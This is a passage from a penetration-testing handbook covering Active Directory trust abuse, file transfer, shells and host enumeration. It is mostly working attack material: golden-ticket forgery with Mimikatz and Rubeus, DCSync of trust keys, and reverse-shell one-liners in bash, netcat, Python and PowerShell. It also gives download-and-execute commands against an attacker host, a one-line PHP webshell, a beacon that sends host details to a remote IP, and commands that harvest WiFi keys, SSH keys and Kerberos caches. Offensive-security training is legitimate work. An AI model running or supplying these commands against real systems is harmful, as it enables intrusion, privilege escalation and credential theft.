* Password expiration protection is disabled.

3\. Then, it is time to find out who can read the LAPS password. (There are two alternatives).

* Directly looking at the computer ADLS

```powershell
# Obtain the SID
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
# Convert the SID
ConvertFrom-SID <SecurityIdentifier>
```

* Using the [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit).

> :information\_source:`Find-LAPSDelegatedGroups` will query each OU and find domain groups that have delegated read access. `Find-AdmPwdExtendedRights` goes a little deeper and queries each individual computer for users that have "All Extended Rights". This will reveal any users that can read the attribute without having had it specifically delegated to them.

```powershell
. .\LAPSToolkit.ps1
Find-LAPSDelegatedGroups
```

4\. Once you have the permissions to read the password, you can read it as follows.

```powershell
Get-DomainComputer -Identity <HOSTNAME> -Properties ms-Mcs-AdmPwd
```


# Domain Trusts

## Introduction

In Active Directory, a domain trust is a relationship between two domains that allows users in one domain to access resources in the other domain.

There are two types of domain trusts in Active Directory: one-way trusts and two-way trusts.

A **one-way trust** allows users in one domain (the trusted domain) to access resources in another domain (the trusting domain), but not the other way around. For example, if Domain A trusts Domain B, users in Domain B can access resources in Domain A, but users in Domain A cannot access resources in Domain B.

A **two-way trust** allows users in both domains to access resources in the other domain. For example, if Domain A trusts Domain B and Domain B trusts Domain A, users in both domains can access resources in the other domain.

To establish a domain trust, an administrator in the trusting domain must create a trust relationship with the trusted domain. The administrator in the trusted domain must then approve the trust relationship. Once the trust relationship is established, users in the trusted domain can access resources in the trusting domain, subject to any permissions and access controls that are in place.

### Enumeration

You can find the enumeration commands in this [link](/situational_awareness/active-directory#trust).

## Bidirectional (Extra SID)

In a valid scenario, a user originating from Domain A, equipped with ExtraSids assigned from Domain B, can gain access to content within the trusted domain based on the group memberships to which the ExtraSids are mapped.

The implementation of Kerberos authentication across domains relies on the utilization of the *trust key*. Since Domain B lacks knowledge of the password hash in Domain A, decrypting a Ticket Granting Ticket (TGT) transmitted from Domain A to Domain B becomes impossible. This challenge is addressed through a shared secret, established during the trust configuration process.

Upon the establishment of domain trust, a new computer account is generated, bearing the name of the trusted domain. In the case of prod.corp1.com, this computer account is denoted as *corp1$*, also known as the trust account. The shared secret is essentially the password hash of *corp1$*.

In the context of a **bi-directional trust**, such as that between parent and child domains, both prod.corp1.com and corp1.com create their respective trust accounts. The account within corp1.com is named *prod$*, aligning with the trusted domain, but both *prod$* and *corp1$* share the same password hash.

1\. Obtain the shared secret between domains to encrypt the TGT

```bash
.\mimikatz.exe "lsadump::dcsync /domain:prod.corp1.com /user:corp1$" "exit"
```

2\. Obtain the SID of each domain. You can use **PowerView**.

```powershell
Get-DomainSID -Domain <CURRENT-DOMAIN>
Get-DomainSid -Domain <TARGET-DOMAIN>
```

3\. Obtain the RID of the Enterprise Admins group (Static value: DOMAIN SID + 519)

4\. Create the golden ticket. You can use **Mimikatz**.

> We’ll supply the username inside prod.corp1.com (which does not have to be valid), the origin domain (/domain), the origin domain SID (/sid), the krbtgt password hash (/krbtgt), and finally, the ExtraSid value (Enterprise Admins SID) through the /sids: option.
>
> ℹ️ The `/sids` attribute is a combination of foreign domain SID and the foreign identity in our case ["Enterprise Admins" (519)](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers#well-known-sids).

```bash
"kerberos::golden /user:Administrator /domain:<CURRENT_DOMAIN> /sid:<CURRENT_DOMAIN_SID> /krbtgt:<KRBTGT_NTLM> /sids:<<TARGET_DOMAIN_SID>-<TARGET_IDENTITY_SID> /ptt" "exit"
```

5\. Check access to the target computer.

```bash
ls \\<COMPUTER>\C$
c:\tools\SysinternalsSuite\PsExec.exe /accepteula \\<COMPUTER> cmd
```

## Bidirectional (Parent-Child)

When a child domain is added to a forest, it automatically creates a transitive, two-way trust with its parent.

> :information\_source:`SourceName` is the current domain, `TargetName` is the foreign domain, `TrustDirection` is the trust direction (bidirectional is two-way), and `TrustAttribute` WITHIN\_FOREST lets us know that both of these domains are part of the same forest which implies a parent/child relationship.

```powershell
Get-DomainTrust

SourceName      : dev.capsulecorp.local
TargetName      : capsulecorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 8/15/2022 4:00:00 PM
WhenChanged     : 8/15/2022 4:00:00 PM
```

In order to gain Domain Admin Privileges in the parent domain, you need to create a TGT with a particular attribute called SID History. SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the user's previous SID would be added to the SID History of their new account. When creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added so it will grant access to all resources in the parent.

> :warning:You must be Domain Admin in the Child Domain to exploit this feature.

The only difference between creating a normal and a transitive one is that you need to add the SID of a target group in the parent domain.

1\. Obtain the SID of a group with admin privileges in the parent domain.

```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain <PARENT_DOMAIN> -Properties ObjectSid
```

2\. Obtain a Domain Administrator in the parent to impersonate.

```powershell
Get-DomainGroupMember -Identity "Domain Admins" -Domain <PARENT_DOMAIN> | select MemberName
```

3\. Create a Golden Ticket

> :information\_source:The easiest way to obtain the `<KERBEROS_KRBTGT>` is by performing a [domain DSync](/situational_awareness/windows#dsync).&#x20;

<pre class="language-bash"><code class="lang-bash"><strong>.\Rubeus.exe golden /aes256:&#x3C;KERBEROS_KRBTGT> /user:&#x3C;ADMINISTRATOR> /domain:&#x3C;CHILD_DOMAIN> /sid:&#x3C;CHILD_DOMAIN_SID> /sids:&#x3C;SID_FROM_FIRST_COMMAND> /nowrap
</strong></code></pre>

4\. Import the ticket to a new process

```bash
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<CHILD_DOMAIN> /username:<IMPERSONATE_ADMIN> /password:FakePass123 /ticket:<TICKET_OBTAINED_PREVIOUSLY>
```

5\. Check that you can access the parent DC.

```powershell
# Obtain the parent DC
Get-DomainController -Domain <PARENT_DOMAIN> | select Name
ls \\<PARENT_DOMAIN>\c$
```

## One-Way Inbound

If the trust is inbound from your perspective, it means that principals in your domain can be granted with access to other resources in the foreign domain.

1\. Enumerate groups with foreign domain principals (it can be groups or users)

```powershell
Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN>
ConvertFrom-SID <MemberName>
```

2\. If it is a group, search for its members.

```powershell
Get-DomainGroupMember -Identity <MemberName> | select MemberName
```

3\. Create a TGT for the target user.&#x20;

> :information\_source:It can be done in several ways, but I am using this one.

<pre class="language-bash"><code class="lang-bash"><strong>.\Rubeus.exe asktgt /nowrap /user:&#x3C;DA_USER> /domain:&#x3C;CURRENT_DOMAIN> /aes256:&#x3C;DA_USER_ECNRYPTION_KEY>
</strong></code></pre>

4\. Request a referral ticket from the current domain to the target domain

```bash
.\Rubeus.exe asktgs /nowrap /service:krbtgt/<FOREIGN_DOMAIN> /domain:<CURRENT_DOMAIN> /dc:<CURRENT_DOMAIN_DC> /ticket:<TICKET>
```

5\. Use this inter-realm ticket to request TGS's in the foreign domain

```bash
.\Rubeus.exe asktgs /nowrap /service:cifs/<FOREIGN_WKST> /domain:<FOREIGN_DOMAIN> /dc:<FOREIGN_DC> /ticket:<TICKET>
```

## One-Way Outbound

Remember that if Domain A trusts Domain B, users in Domain B can access resources in Domain A; but users in Domain A should not be able to access resources in Domain B.

Nonetheless, sometimes there is a possibility to become a domain user. To do so, you need to obtain the shared password between domains in a Trusted Domain Object (TDO).

> :warning: This password changes every 30 days by default.

1\. Read the system container through LDAP.

```powershell
.\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain <CURRENT_DOMAIN> --attributes distinguishedName,name,flatName,trustDirection
```

2\. Perform a DCSync of TDO's GUID.

> :information\_source:The passwords are listed from newer "\[Out]" to older "\[Out-X]".

```powershell
Get-DomainObject -Identity "<FOREIGN_DOMAIN_distinguishedName>" | select objectGuid

Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<CURRENT_DOMAIN> /guid:<objectGuid>"'
```

3\. Enumerate the domain accounts looking for the trusted account of the foreign domain.

4\. Create a TGT with the trusted account to impersonate it.

```bash
.\Rubeus.exe asktgt /user:<TRUSTED_ACCOUNT>$ /domain:<FOREIGN_DOMAIN> /rc4:<PREVIOUSLY_OBTAINED_KEY>
```

## Forest trust - Extra SID

The implementation of SID filtering is a key element introduced by forest trust. In the context of forest trust, the ExtraSids field are filtered so group memberships are not blindly trusted. Thus, the attack show on [Bidirection (Extra SID)](#bidirectional-extra-sid) will not work.

Microsoft dictated that any SID with a RID less than 1000 will always be filtered regardless of the SID history setting. Nevertheless, a SID with a Relative Identifier (RID) equal to or exceeding 1000 remains unfiltered in the case of an external trust. Any non-default group invariably possesses a RID surpassing 1000. Identifying a custom group with membership that could potentially compromise a user or computer provides a viable entry point.

To exploit this configuration, follow these steps.

1 . Check if ISD history is enabled on your target domain.

> :information\_source: To find a forest that has SID History enabled should appear the value "TREAT\_AS\_EXTERNAL" at the attribute "TrustAttributes".

```bash
Get-DomainTrust -Domain <TARGET>
```

2\. Enumerate members of the target domain built-in Administrators group.

```powershell
Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com | select MemberName,MemberSID
# Alternatively you can enumare other groups
Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN> | select GroupName,MemberName
ConvertFrom-SID <MemberName>
```

3\. Craft a golden ticket as in but [Bidirection (Extra SID)](#bidirectional-extra-sid) using the SID of the foreign group as `/sids`.


# 3 - Post Exploitation

The post-exploitation phase in a pentesting determines the value of the compromised assets by assessing the impact of the vulnerability through the sensitivity of the data stored and the potential financial losses that may occur because of the attack.

After exploiting a vulnerability and getting inside the system on an engagement, it is time to gather more information on the exploited system, obtain persistence, escalate privileges and move from system to system, further compromising the company's network. However, if the Rules of Engagement do not allow these tasks, the Rules of Engagement must be followed.


# File transfer

## Introduction

During a pentesting, you will find interesting files that you may want to download for later analysis, or even you may want to upload your tools for performing attacks. However, you will not always have the means to transfer files on a restricted computer. Hence, in this section, you will see several methods to transfer files depending on the victim's OS.

## Linux

### Folders with write permissions

If you do not have write permissions to upload files on the victim's system, there are always some directories that allow everyone to write files on them:

```bash
/tmp/
/dev/shm/
```

### nc

```bash
# Listening for the file to be transfered
nc -nlvp 4444 > file 
# Transfer the file
nc -w 3 <DST_IP> 4444 < file 
```

### scp

```bash
# Download a file
scp [-r] <USER>@<IP>:<SRC_PATH> <DST_PATH> 
# Upload a file
scp <SRC_PATH>  <USER>@<IP>:<DST_PATH> 
```

### base64

Compress the file for a smaller base64 output. Then, base64 the compressed file and copy the output on your clipboard.

```bash
zip -e -r exfil.zip dir_name
cat exfil.zip | base64 > exfil.txt
```

Paste the output into a file and decode the file. Finally, uncompress the file.

```bash
base64 -d exfil.txt > exfil.zip
unzip exfil.zip
```

## Windows

### Folders with write permissions

```bash
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\System32\spool\drivers\color\ # Allow bypass AppLocker 
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
```

### Certutil

With certutil, you can download files into the victim's machine. Nonetheless, take into account that the downloaded file will be analyzed by installed AVs.

```bash
certutil.exe -split -urlcache -f http://<IP>/file.exe f.ex
```

### Powershell

With PowerShell, you can download files.

```powershell
powershell.exe Invoke-WebRequest -Uri "http://<ATTACKER_IP>/shell.exe" -OutFile notashell.exe
```

For Powershell scripts, instead of downloading them on the disk you can store them on memory bypassing some AVs.

```powershell
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/shell.ps1')"
```

### SMB

With the use of [impacket](https://github.com/SecureAuthCorp/impacket) you can create your own SMB server to upload and download files from the victim's computer.

```bash
#Kali
smbserver.py -smb2support  a . -username guest -password password
#Victim
net use \\<YOUR_IP>\a password /USER:guest
copy <VICTIM_FILE> \\<YOUR_IP>\a\
```


# Shells

## Introduction

If you have successfully exploited a vulnerability on a system and you got **Remote Code Execution** (RCE), you could obtain a shell from the remote system.

## Types of shell

Depending on the type of connection with the shell, whether it is interactive and whether the payload is staged, we can classify a shell in the following categories.

### Reverse & bind shell

#### Reverse shells

Reverse shells are when the target is forced to execute code that connects back to your computer. Reverse shells are an excellent way to bypass firewall rules that may prevent you from connecting to arbitrary ports on the target. However, when receiving a reverse shell from a machine across the Internet, you must configure your own network or use third-party tools to obtain the shell.

#### Bind Shells

Bind shells are when the code executed is used to start a listener port attached to a shell directly on the target. In some cases, this port would be accessible through the Internet or would require configuring the target network to allow port forwarding for that specific port. Then, you can connect to the port gaining remote code execution. This has the advantage of not requiring any local network configuration but may be prevented by firewalls protecting the target.

### Staged & Stageless

#### Staged payloads

Staged payloads are sent in two parts:

* The first part is called the **stager**, which does not contain any shellcode, is executed directly on the target and connects back to the attacker for downloading the actual payload.
* The second part is the **actual payload**, which is executed directly, preventing it from being stored on the disk caught by traditional anti-virus.

Staged payloads require a particular, usually would be the **Metasploit multi/handler**, capable of sending different staged payloads and retrieving the final reverse shell.

#### Stagesless payloads

Stageless payloads are entirely self-contained in one piece of code, that sends a shell back immediately to the waiting listener when executed.

**Note**: To differentiate between staged and stageless payloads on Metasploit and Msfvenom, staged payloads look like `windows/shell/reverse_tcp`, meanwhile stageless look like `windows/shell_reverse_tcp`.

### Interactive & non-Interactive

#### Interactive shell

Interactive shells allow you to interact with programs like vim, nano, sudo and execute keywords like \[Ctrl]+c, \[Ctrl]+l. Examples of interactive shells would be Powershell, Bash, Zsh and sh.

#### Non-Interactive shell

Non-Interactive shells limit the attacker to only interact with programs that do not require user interaction like grep, whoami, cat... Unfortunately, the majority of simple reverse and bind shells are this type of shell, making further exploitation trickier.

Nonetheless, we can upgrade a non-interactive shell into a full TTY one depending on the environment.

## Payload resources

In this subsection, you can find a list of web pages with payloads for obtaining reverse or web shells.

### Reverse Shells

#### Windows

* [PowerShell One Liner](https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3#file-powershell_reverse_shell-ps1)

```powershell
# shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("<YOUR_IP>",<LISTENING_PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# COMMAND
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<YOUR_IP>/shell.ps1')"
```

* Start a shell in a new process.

```powershell
Start-Process -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://<YOUR_IP>/shell.ps1')"
```

* Start  process as other user.

```powershell
# Store user's credentials as variables
$pass = ConvertTo-SecureString 'Go1Ln5z63z&Tg.' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $pass)
# Launch a process
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://<YOUR_IP>/shell.ps1')" -Credential $cred
```

* Netcat

```powershell
# https://github.com/int0x33/nc.exe/raw/master/nc64.exe
nc.exe -e cmd.exe <YOUR_IP> <LISTENING_PORT>
```

#### Linux

```bash
bash -i >& /dev/tcp/<YOUR_IP>/<LISTENING_PORT> 0>&1
nc -e /bin/sh <YOUR_IP> <LISTENING_PORT>
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <YOUR_IP> <LISTENING_PORT> > /tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",<LISTENING_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

### Generators & cheat sheets

* [MSFVenom Reverse Shell Payload Cheat sheet (with & without Meterpreter)](https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/)
* [revshells.com](https://www.revshells.com)
* [shellgenerator.github.io](https://shellgenerator.github.io)
* [Reverse Shell Cheat sheet (PayloadAllTheThings)](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

### Web Shells

By default, Kali-Linux has a folder with a set of web shells under `/usr/share/webshells/`. Nevertheless, here is a list with more web shell payloads:

* [SecList](https://github.com/danielmiessler/SecLists/tree/master/Web-Shells)
* [BlackArch](https://github.com/BlackArch/webshells)
* [PHP Reverse Shell (Pentest Monkey)](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)
* [Simple Web Shells](https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html)

Very simple webshell.

```php
<?=`$_GET[c]`?>
```

### Fully TTY

Depending on the target operating system spawning a TTY shell can be achieved [differently](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell).

#### Linux

A simple way to spawn a TTY shell in Linux will be by executing the following commands. Nonetheless, you can find more ways to obtain a fully TTY shell in the following [link](https://book.hacktricks.xyz/shells/shells/full-ttys).

```bash
python3 -c "import pty; pty.spawn('/bin/bash')"
<Ctrl+z>
stty raw -echo; fg
reset
screen
export TERM=screen;export SHELL=/bin/bash;
stty rows <ROWS> columns <COLUMNS>
```

**Note**: To obtain the number of rows and columns of your terminal type `stty -a`.

#### Windows

It is not possible to obtain a fully TTY interactive shell. However, we can get something similar that still is not interactive.

Thanks to **rlwrap,** the attacker can edit commands before sending them and have a command history.

```
rlwrap nc -nvlp <LISTENING_PORT>
```

Another more elaborate alternative is using [ConPtyShell](https://github.com/antonioCoco/ConPtyShell), a fully interactive reverse shell for Windows. However, it can be detected by AVs.

## Jump from x86 to x64 (Powershell)

How to check if you are in a 32 or 64-bit process.

```powershell
[Environment]::Is64BitProcess 

[IntPtr]::Size
```

* If Pointer size == 4 -> 32
* If Pointer size == 8 -> 64

To jump to a 64-bit process execute the following PowerShell executable.

```bash
# It might not exist
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe
# Then try this one
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
```

Finally, if you want to jump from from a x64 to a x86  process you can use:

```bash
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
```

## References

* [What the shell](https://tryhackme.com/room/introtoshells)
* [FULL TTYs](https://book.hacktricks.xyz/shells/shells/full-ttys)
* [MSFVenom Reverse Shell Payload Cheatsheet](https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/)


# Situational Awareness

Once gaining access to the compromised environment a common step is to gather as much information as possible. All the information gathered in this stage will help the pentester to map the domain, escalate privileges and perform lateral movements.


# Containers and VMs

## Introduction

Nowadays, it is pretty common that applications are being executed inside virtualised environments like containers or Virtual Machines (VMs). In this section, you will learn some techniques to know which type of environment you are in.

## Container

There are several ways to detect that you are inside a docker container.

### Hostname

If the machine's hostname seems pretty random, it could be a sign that you are inside a docker container.

```bash
$ cat /etc/hostname 
3fd33d6abec6
```

### .dockerenv

The existence of the `.dockerenv` file in the `/` path.

```bash
www-data@3fd33d6abec6:$ ls -la /
[...]
-rwxr-xr-x   1 root root      0 Aug  2 09:27 .dockerenv
[...]
```

### Processes

Enumerating the process in a normal environment the first process will always be "init".

```bash
user@xubuntu:~$ ps -eaf | head -n 2
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 18:29 ?        00:00:00 /sbin/init splash
```

However, on a container, there is no init process instead the first process is executing the sh command as you can see below.

```bash
www-data@3fd33d6abec6:/n$ ps -eaf | head -n 2
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   4632   812 pts/0    Ss   09:27   0:00 /bin/sh -c /etc/init.d/apache2 start && /etc/init.d/mysql start && /bin/bash
```

An alternative would be executing the following command.

```bash
kali@kali:~$ cat /proc/1/cgroup 
0::/init.scope
root@6cc9fc13945a:/data# cat /proc/1/cgroup
0::/
```

### Tools

An attacker could use the tool [deepce](https://github.com/stealthcopter/deepce) not only to enumerate inside a docker container but for privilege escalation and container escapes vectors.

## Virtual Machines

### Windows

For Windows systems the quickest way to detect if you are inside a virtual machine is through the windows model, obtaining "VMware Virtual Platform" or "VirtualBox".

```bash
Systeminfo | findstr /i model
```

Another alternative will be to list the installed programs on the Windows system, looking for Vbox or Vmware tools.

```bash
wmic /OUTPUT:software.txt product get name
```

### Linux

On Linux, you can check if you are inside a VM by printing the kernel ring buffer.

```bash
dmesg | grep -i hypervisor
Hypervisor detected: KVM
```

As on Windows, you can look for the binaries `VBoxClient` and `vmware-toolbox-cmd`.


# Linux

## Introduction

This section contains some useful commands that will help you enumerate the Linux system, obtaining helpful information for a later Privilege Escalation or Lateral movements.

## User and group enumeration

* Print real and effective user and group IDs from the current user: `id`
* List all users, groups and shells for each user: `cat /etc/passwd`
* List user accounts who does not require password:

```bash
sudo awk -F: '($2==""){print}' /etc/shadow
```

* List the allowed (and forbidden) commands for the invoking or specified (`-u`) user: `sudo -l`
* List all existing groups: `cat /etc/group | sort`
* Print executed commands (Looking for credentials): `{cat ~/.bash_history} | {history}`

## Operative System

* **Architecture**:

```bash
uname -a
```

* **Environment variables**:

```bash
env
```

## Network Enumeration

* List network interfaces: `ip -br a`
* List all connections: `netstat -putona`
* List only listening ports: `netstat pluton | ss -pltn`
* List hardcoded domains: `cat /etc/hosts`
* List iptables: `iptables -L`
* Outgoing connections to a specific IP: `ss -anpt | grep <NETWORK> | grep ESTAB`
* Real-time traffic monitoring: `tcpdump -i <if> -s0 -n -vv`
* Obtian WiFi passwords: `sudo grep psk= /etc/NetworkManager/system-connections/*`

## Files enumeration

### Files owned by a user

There might be files owned by a specific user stored in hidden folders.

```bash
find / -type f -user <user> -or -group <group> 2>/dev/null | grep -v ^/proc
```

### Modified files

There might be files being modified with a cronjob or during a workday.

```bash
find / -type f -newermt <start date range> ! -newermt <end date range>
```

### Accessed files

There might be files being accessed with a cronjob or during a workday.

```bash
find / -type f -newerat <start date range> ! -newerat <end date range>
```

### Disks

List mounted disks at Linux startup.

```bash
cat /etc/fstab
```

## Password Enumeration

Look for files that contain passwords or keys.

```bash
# Passwords
grep  -rnw '/' -ie "passw" --color=always 2>/dev/null
cat ~/.bash_history | grep -i passw 
# Find SSH keys 
find / -type f -name id_rsa 2>/dev/null 
grep  -rnw '/' -ie "private key" --color=always 2>/dev/null
```

## Cronjobs

List scheduled jobs.

```bash
cat /etc/crontab
crontabe -e
```

## SSH

* Find SSH keys:

```bash
find /home/ -iname "id_rsa"
find /home/ -iname "*.key"
```

### **Control Master**

When ControlMaster is enabled, the initial SSH connection (the master connection) is established, and subsequent connections (slave connections) can reuse the existing master connection. This can lead to faster connection times and reduced resource usage, especially when connecting to the same remote server multiple times.

If an attacker gains access to a system where SSH ControlMaster is in use, they might exploit the existing master connection to execute commands or perform other malicious activities without the need to authenticate repeatedly.

1. Check if the file `~/.ssh/config` exists with the following configuration. Meaning, that ControlMaster is enabled.

```bash
Host *
        ControlPath ~/.ssh/controlmaster/%r@%h:%p
        ControlMaster auto
        ControlPersist 10m
```

2. Look for any active connection under `~/.ssh/controlmaster/`.

```bash
offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 13:55 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec    0 May 13 13:55 offsec@linuxvictim:22
```

3. Use the existing connection to perform lateral movement.

* **User**: If you are the user to whom the connection file belongs, simply SSH to the session.

```bash
offsec@linuxvictim:22
```

* **Root**:

```bash
ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim
```

### **SSH Agent Forwarding**

SSH Agent Forwarding allows the SSH-Agent on a local machine to be used for authentication when connecting to remote servers.

If an attacker gains access to a machine where Agent Forwarding is active, they might abuse the forwarded agent connection to authenticate to other machines.

Check if `~/.ssh/config` contains `ForwardAgent yes` or the SSH configuration `/etc/ssh/sshd_config` on the server must have `AllowAgentForwarding yes`. Then, check if there is any active connection.

```bash
ps aux | grep ssh
```

* **User**: If you are the user to whom the connection belongs, simply SSH to the session. Then, simply execute the SSH command to automatically access the other computer.
* **Root**: Inspect processes with "ssh" in the name, we will find any open connections from the host. We can use the usernames listed in these connections with the pstree command to get the process ID (PID) values for the SSH processes.

```bash
pstree -p <USER> | grep ssh
sshd(15228)---bash(15229)---su(15241)---bash(15242)
sshd(16380)---bash(16381)
```

Then, we extract the `SSH_AUTH_SOCK` environment variable from their connection to obtain the stored SSH socket.

```bash
cat /proc/16381/environ
```

After that, we need to add it:

```bash
root@controller:~# SSH_AUTH_SOCK=/tmp/ssh-7OgTFiQJhL/agent.16380 ssh-add -l
```

Finally, we can try to access the target we might have in mind that the victim is connecting to or look for clues in order to see where our victim is connecting to.

```bash
ss -ntp  | grep 22 | grep -i ssh
```

## Kerberos

Kerberos tickets can also be found on Linux machines that belong to Active Directory domains. Enumerating the machine looking for Kerberos information can be crucial to perform lateral movement to other machines on the domain.

* **Obtain domain information from the kerberos configuration file.**

```bash
cat /etc/krb5.conf
```

* **Find KRB user cache credentials.**

```bash
find /tmp/ -type f -iname "*krb5cc_*" 2>/dev/null
```

* **Impersonate user using `krb5cc_` files.**

```bash
sudo cp /tmp/krb5cc_* /tmp/krb5cc_minenow
sudo chown <ATTACKER_USER>:<ATTACKER_USER> /tmp/krb5cc_minenow
kdestroy
export KRB5CCNAME=/tmp/krb5cc_minenow
klist
```

* **Find keytab files.**

```bash
find / -type f -iname "*.keytab" 2>/dev/null
ls /etc/krb5.*
```

* **Extract keytab information like domain, service principal and NTLM hash.**

```bash
python3 KeyTabExtract/keytabextract.py krb5.keytab 
```

* **List tickets currently stored in the user’s credential cache file.**

```bash
klist
```

* **Convert a Mimikatz ticket to ccache.**

```bash
ticketConverter.py adminWebSvc.kirbi adminWebSvc.ccache
export KRB5CCNAME=/var/www/html/OSEP/Challenge6/adminWebSvc.ccache
```


# Windows

## Introduction

This section contains some useful commands that will help you enumerate the Windows system, obtaining helpful information for a later Privilege Escalation or Lateral movements.

## General information exfiltration

{% code overflow="wrap" %}

```powershell
C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -nop -w hidden -c iwr -UseBasicParsing -Uri "http://10.10.10.4/index.html?h=$(hostname)?x64=$([Environment]::Is64BitProcess)?u=$($env:USERNAME)?cd=$(Get-Location)?ip=$((Test-Connection -ComputerName (hostname) -Count 1).IPV4Address.IPAddressToString)?clm=$($ExecutionContext.SessionState.LanguageMode)?AppLockerS=$(Get-Service -Name "AppIDSvc" | Select-Object -ExpandProperty Status)?AppLockerR=$(Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionTypes| Format-List| Out-String)"
```

{% endcode %}

## PowerShell History

```
c:\\Users\\<USER>\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt
```

## User and group enumeration

```bash
whoami
echo %username%
```

### Privileges

Displays the current user name and groups to which the user belongs and the security identifiers (SIDs), notifications and privileges for the current user's access token.

```bash
whoami /all
```

Enumerate the SE privileges of the current user

```bash
whoami /priv
```

### Groups

```bash
net localgroup
net localgroup "<Group>"
# View Domain Groups
net "<Group>" /domain
```

## Operative system

* **Architecture**:

```bash
wmic os get osarchitecture
```

* **General information**:

```bash
ver
systeminfo
```

* **Environment variables**:

```
cmd /c set
```

* **Hostname & Domain**

{% tabs %}
{% tab title="CMD" %}

```bash
echo %USERDOMAIN% -> Returns domain name
systeminfo | findstr /B /C:"Domain"
```

{% endtab %}

{% tab title="PowerShell" %}

```powershell
Get-WMIObject Win32_ComputerSystem | Select-Object Name, Domain
```

{% endtab %}
{% endtabs %}

## Network enumeration

* **Hardcoded domains**:

The file `/etc/hosts` also exist on Windows under the following path.

```bash
C:\Users\Marmeus>type C:\Windows\System32\drivers\etc\hosts
# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost
```

* **Port enumeration**:

```bash
netstat -ano
```

* **Display routing table**:

```bash
route print
```

* **Network configuration**:

```bash
ipconfig /all
```

* **Shares**:

```bash
net share
net1 share
```

* **SMB Signing enabled**

```powershell
Get-SmbServerConfiguration | select EnableSecuritySignature
```

* **View computers on your network**:

```bash
net view
```

* **Status Firewall / AV / Windows Defender**

{% tabs %}
{% tab title="CMD" %}

<pre class="language-bash"><code class="lang-bash"><strong># Status windefender
</strong>sc query windefend 

# Status firewall
netsh firewall show state 
netsh firewall show config
netsh advfirewall show allprofiles

# Deprecated command
netsh advfirewall firewall dump 
</code></pre>

{% endtab %}

{% tab title="PowerShell" %}

```powershell
# Check if Windows Defender is enabled
Get-MpComputerStatus

# Check if firewall it is enabled
Get-NetFirewallProfile | Select-Object Name,Enabled

# Allowed Firewall Ports
Get-NetFirewallRule | Get-NetFirewallPortFilter | Where-Object { $_.Protocol -eq 'TCP' -and $_.LocalPort -ne 'Any' }  

# Blocked ports/applications
Get-NetFirewallRule -PolicyStore ActiveStore | where {$_.Action -eq "Block"} 
```

{% endtab %}
{% endtabs %}

* **WiFi Passwords**: On windows 10 we can obtain WiFi Passwords for each AP that the computer has ever connected.

```bash
1. netsh wlan show profile
2. netsh wlan show profile name=<ProfileName> key=clear
```

* **Show ARP tables**:

```
arp -a
```

## Constrained Language Enabled (CLM)

